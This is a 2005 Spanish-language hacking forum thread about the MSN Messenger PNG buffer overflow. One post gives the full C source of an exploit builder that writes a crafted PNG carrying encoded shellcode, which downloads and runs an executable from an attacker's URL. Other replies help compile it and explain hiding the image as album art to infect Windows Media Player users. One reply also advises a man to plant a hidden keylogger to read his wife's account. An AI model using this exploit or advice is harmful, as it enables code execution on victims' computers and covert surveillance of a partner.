elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 11:33  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Exploit MSN - PNG Vuln, meer foto en el exploit generado?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Exploit MSN - PNG Vuln, meer foto en el exploit generado?  (Leído 4,692 veces)
grx0

Desconectado Desconectado

Mensajes: 132


Ver Perfil
Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« en: 16 Febrero 2005, 17:32 »

Buenas gente, he estado probando el exploit del MSN PNG , funciona correctamente, ahora me puse a investigar un poco, ya que hay un PNG de testeo que permite checkear nuestro MSN, el cual es realmente una foto PNG con el shellcode que lo unico que hace es ponernos un TextBox "MSN Vulnerable .."

Ahora si nosotros creamos el PNG con el exploit:

>exploit.exe test.png http://www.file.com/example.exe

Esto solo es un archivo con encabezado (header) de PNG y el shellcode.

La idea es poder meter una foto en nuestro exploit (como el checker) o en otro caso crear nuestro propio shellcode y meterlo dentro de una PNG. Alguien ha estado probando este tema?, gracias
En línea
grx0

Desconectado Desconectado

Mensajes: 132


Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #1 en: 2 Marzo 2005, 19:46 »

Je, amigo , el exploit no sirve para hackiar hotmail, solo es una falla en la libreria de graficos que usa MSN, lo que permite ejecucion de codigo localmente atravez de la alteracion de un PNG con su shellcode correspondiente. Saludos
En línea
DeMoNiX

Desconectado Desconectado

Mensajes: 102



Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #2 en: 4 Marzo 2005, 01:23 »

tu me puedes ayudar con un Xploit para hackear hotmail? pero que sea EFECTIVO 8)
gRACIAS LO NECESITO porque parece que mi esposa anda en malos pasos y no me merezco esto, ayudame aunque no me conozcas

Instala un keylogger que permanezca oculto y que se autoejecute al arrancar el ordenador, así de esta manera puedes registrar en ficheros de texto por ejemplo todas las pulsaciones y movimientos que hace el ordenador, lo que te llevaría a saber por ejemplo la contraseña de su cuenta, etc ... no entro en detalles, busca e informate, molestate.
Saludos.Demonix
En línea

buster

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #3 en: 5 Marzo 2005, 06:55 »

Hola buenas aquí os pongo el codigo fuente del exploit:  ::)

Código:
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>


#ifdef __BORLANDC__
#include <mem.h>
#endif

#define NOP 0x90

char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;

/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i<Size;i++)
Name[i]=Name[i]^xor;
return Name;
}


void main(int argc, char *argv[])
{

if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow
Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies
(www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights
Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png
http://www.atmacasoft.com/exp/msg.exe\n");

return;
}


web = argv[2];


if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return;
}
for(i=0;i<sizeof(png_header)-1;i++)
fputc(png_header[i],di);

/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);

weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");

//shell code
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],di);


for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);

/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);

for(i=0;i<sizeof(pngeof)-1;i++)
fputc(pngeof[i],di);

printf("Vulnarable png file %s has been generated!\n",argv[1]);

fclose(di);
}

Lo que pasa es que tengo un problema que cuando compilo me da errores y warnings y he probado con DEV-C++, VC6 y Visual .NET 2003. Si alguien sabe que compilador tengo que usar que me lo diga o si sabe donde ya esta compilado tambine me sirve o en su defecto si me lo pasa compilado también me sirve. Muchas gracias  ;D
En línea
- xXx -


Desconectado Desconectado

Mensajes: 495


[::wormz::]


Ver Perfil WWW
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #4 en: 5 Marzo 2005, 07:12 »

Este xploit ya fue comentado en su dia en este post:

http://foro.elhacker.net/index.php/topic,57020.0.html

En el msn messenger ya no es vulnerable, ahora la imagen solo es util para el WMP que aún es vulnerable xq no actualizaron todos, y tb hay una vulnerabilidad similar en una imagen ahroa para trillian.
En línea
buster

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #5 en: 6 Marzo 2005, 06:48 »

Este xploit ya fue comentado en su dia en este post:

http://foro.elhacker.net/index.php/topic,57020.0.html

En el msn messenger ya no es vulnerable, ahora la imagen solo es util para el WMP que aún es vulnerable xq no actualizaron todos, y tb hay una vulnerabilidad similar en una imagen ahroa para trillian.

Perdona he estado mirado el post que me dices y muchos hablan de que tienen problemas pero ninguno aclara como se compila tu como me aconsejas que compile este exploit por ejemplo o el que tu dices de windows media player¿? porque ahora lo compilo pero cuando lo linko me da fallo de:

Linking...
LIBC.lib(wincrt0.obj) : error LNK2001: unresolved external symbol _WinMain@16
Release/png_exploit.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.

png_exploit.exe - 2 error(s), 0 warning(s)

Bueno espero tu respuesta  ::)
En línea
- xXx -


Desconectado Desconectado

Mensajes: 495


[::wormz::]


Ver Perfil WWW
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #6 en: 7 Marzo 2005, 05:05 »

Mira este post

http://foro.elhacker.net/index.php/topic,57020.0.html

El xploit es el mismo, se genera una imagen png. y ese error :S que compilador estas usando?
En línea
buster

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #7 en: 7 Marzo 2005, 06:07 »

Uso VC6 ahora me he bajado Borland C++ 6 y lo provare a ver que tal. Porque he provado con todos con VC .Net 2003 y con Dev-C++ y nada  :'(
En línea
buster

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #8 en: 7 Marzo 2005, 08:14 »

Mira este post

http://foro.elhacker.net/index.php/topic,57020.0.html

El xploit es el mismo, se genera una imagen png. y ese error :S que compilador estas usando?

Bueno ya lo tengo compilado ahora viene la otra parte, me podrías explicar más detalladamente o donde puedo encontrar info sobre el exploit de wmp  ::)
En línea
- xXx -


Desconectado Desconectado

Mensajes: 495


[::wormz::]


Ver Perfil WWW
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #9 en: 7 Marzo 2005, 09:54 »

Es bastante simple, en el xploit cambia la url por el archivo que quieres que se ejecute. Luego la imagen obtenida con el xploit metela en  una cancion, no se si te has fijado que muchas canciones traen la caratula del disco al abrirlo con el wmp, pues simplemente pon esa imagen como imagen referente al archivo de audio y ya ta. ;)
En línea
buster

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: Exploit MSN - PNG Vuln, meer foto en el exploit generado?
« Respuesta #10 en: 7 Marzo 2005, 18:24 »

Si tienes algun ejemplo o algún programa que haga eso te lo agradecería ya que yo soy fan del winamp y el reproductor de windows solo lo uso para ver pelis  :P Te lo agradecería estoy interesado en este exploit. Oye otra cosa este exploit en el windows media hasta que versión funciona¿?
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Es ésto un exploit?
Seguridad
cerdonegro 9 3,141 Último mensaje 20 Septiembre 2011, 23:31
por DonVidela
Ejecucion de exploit
Bugs y Exploits
egiptoelcairo 2 883 Último mensaje 20 Octubre 2011, 15:15
por egiptoelcairo
Exploit en red wifi
Bugs y Exploits
TToniii 5 1,683 Último mensaje 26 Noviembre 2011, 22:28
por TToniii
exploit puerto 23
Bugs y Exploits
gusdinho80 5 1,074 Último mensaje 20 Enero 2012, 16:27
por Sagrini
¿Exploit Debian 5.0?
Bugs y Exploits
echuche 0 387 Último mensaje 20 Febrero 2012, 03:52
por echuche
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines